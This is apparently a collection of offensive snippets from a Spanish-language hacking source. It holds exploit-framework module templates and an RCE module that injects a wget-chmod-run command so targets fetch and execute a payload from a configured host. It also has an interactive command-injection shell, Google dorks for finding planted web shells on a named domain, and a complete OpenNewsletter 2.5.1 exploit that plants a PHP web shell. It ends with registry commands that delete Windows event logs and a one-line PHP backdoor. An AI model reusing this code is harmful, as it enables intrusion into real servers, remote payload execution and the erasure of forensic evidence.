#include <stdio.h>

int main(int argc, char **argv){
    int fuckme=66;
    char buffer[100];
    gets(buffer);
    if(fuckme==0x10245644){
        printf("You fucked me!");
}
    return 0;

}

# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
 
class module(config):
 
    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
 
    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
 
 
 
    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
        else:
            print "No hay targets"
 
################Aca va el metodo que contiene el exploit################
    def test(self):
        print "Attack Test"
########################################################################
 
##########Se inicia el modulo###########
start=module()
########################################

#!/usr/bin/python
 
import urllib2
import sys
 
def rce(target):
    while 1:
        command=raw_input("$> ")
        w=urllib2.urlopen(target+"www.google.com|"+command)
        print w.read()
 
rce(sys.argv[1])

def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)

command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName() 

# -*- coding : utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
import urllib2
 
class module(config):
 
    def __init__(self):
        self.config=config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
 
    def preExecution(self):
        while 1:
            ################Aca se definen las opciones y se cargan los argumentos################
            opcion=raw_input("> ")
 
            if opcion=="help":
                print("set target <TARGET> -> Setea el target manualmente")
                print("exit -> Cierra el modulo")
                print("show targets -> Muestra los targets seteados")
                print("clear targets -> Elimina los targets")
                print("exploit -> Inicia el modulo de ataque")
 
            elif opcion.find("set target")!=-1:
                target=opcion.split(' ')[2]
                self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))
 
            elif opcion=="exit":
                exit(0)
 
            elif opcion=="show targets":
                if len(self.targets)>0:
                    print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
                else:
                    print "No hay targets seteados"
 
            elif opcion=="clear targets":
                self.targets=[]
 
            elif opcion=="exploit":
                self.exploit()
 
 
    def exploit(self):
        if len(self.targets)>0:
            for target in self.targets:
                print "Attack "+target[1]
                ################Aca va el exploit################
                self.rce(target[1])
        else:
            print "No hay targets"
 
################Aca va el metodo que contiene el exploit################
    def rce(self, target):
        command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
        urllib2.urlopen(target+"www.google.com%7C"+command)
########################################################################
 
##########Se inicia el modulo###########
start=module()
########################################

# -*- coding: utf-8 -*-
import sys
sys.path.append('.')
from config import config
from tabulate import tabulate
 
class module(config):
 
 
####Init configuration####
    def __init__(self):
        self.config = config()
        self.cur = self.config.getCursor()
        self.con = self.config.getCon()
        self.targets=[]
        self.preExecution()
##########################
 
####User define information####
    def preExecution(self):
        while(True):
            option = raw_input("> ")
            if(option=="exit"):
                exit(0)
 
            if(option=="help"):
 
                print("set target URL:PORT --> Manual Target")
                print("clear targets       --> Show Targets in module")
                print("show targets        --> Clear Targets in module")
                print("use shodan          --> Targets from Shodan Results")
                print("exploit             --> Start atack")
                print("exit                --> Close Module")
 
            if(option.find("set target")>-1):
                data = option.split(" ")
                data = data[2].split(":");
                target = data[0]
                port = data[1]
                self.targets.append((0,target,port,"Manual","null"))
 
            if(option.find("use shodan")>-1):
                self.targets=self.config.getTargets();
 
            if(option=="clear targets"):
                self.targets=[]
                print("Clear Done")
 
            if(option=="show targets"):
                if(len(self.targets)!=0):
                        print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
                else:
                    print "No targets"
 
            if(option=="exploit"):
                self.exploit()
###################################
 
###Exploit c0de###
    def exploit(self):
        if(len(self.targets)!=0):
            for target in self.targets:
                ###YOUR EXPLOIT CODE HERE###
                print "Atack "+target[1]+":"+target[2]
        else:
            print "No targets found";
 
####def custom user functions (calleable from exploit())####
    def testFunctions(self):
        print "Atack test"
#############################################################
 
#####Init Module#####
start = module()
#####################

echo "contenido" > fichero

site:klsicci.com.my ext:txt

cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt

site:klsicci.com.my && inurl:shell

site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="

#!/usr/bin/env python
# Description: Opennewsletter remote code execution exploit
# Version tested: 2.5.1
# Author: q3rv0

import urllib2
import urllib
import re

class opennews_exploit:

    def __init__(self, host):
        self.host=host
        cookies=urllib2.HTTPCookieProcessor()
        opener=urllib2.build_opener(cookies)
        urllib2.install_opener(opener)

    def postSend(self, parametros, path):
        self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
        self.parametros=urllib.urlencode(parametros)
        self.path=path
        self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
        return urllib2.urlopen(self.post)

    def getOldDbFile(self):
        self.get=urllib2.urlopen(self.host+"settings.php").read()
        self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
        return self.name[0]

    def verifyShell(self, path):
        try:
            self.path=path
            self.code=urllib2.urlopen(self.host+self.path)
            return self.code.getcode()
        except:
            pass

target="http://pwnedhost.com/opennews/"
shell="shell.php"
user="admin"
passwd="admin"
admin_name="Your Name"
admin_email="[email protected]"
charset="UTF-8"
site_url="http://www.yourwebsite.com"
opennews_directory="/"
payload="<?php echo `$_POST[exec]`; ?>"

rce=opennews_exploit(target)

def get_shell(shell):
    print "[*] Obteniendo la shell :)\n"
    while True:
        command=raw_input("$~: ")
        print "\n"+rce.postSend({"exec":command}, shell).read()

if rce.verifyShell(shell)==200:
    get_shell(shell)

else:
    print "\n[*] Logueando...\n"
    rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
    print "[*] Insertando el payload...\n"
    rce.postSend({"email":payload}, "subscribers.php?action=add")
    print "[*] Renombrando la shell...\n"
    rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
    get_shell(shell)

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\Application

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\System

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\Application
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\Security
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Eventlog\System

<?php system($_GET['cmd']); ?>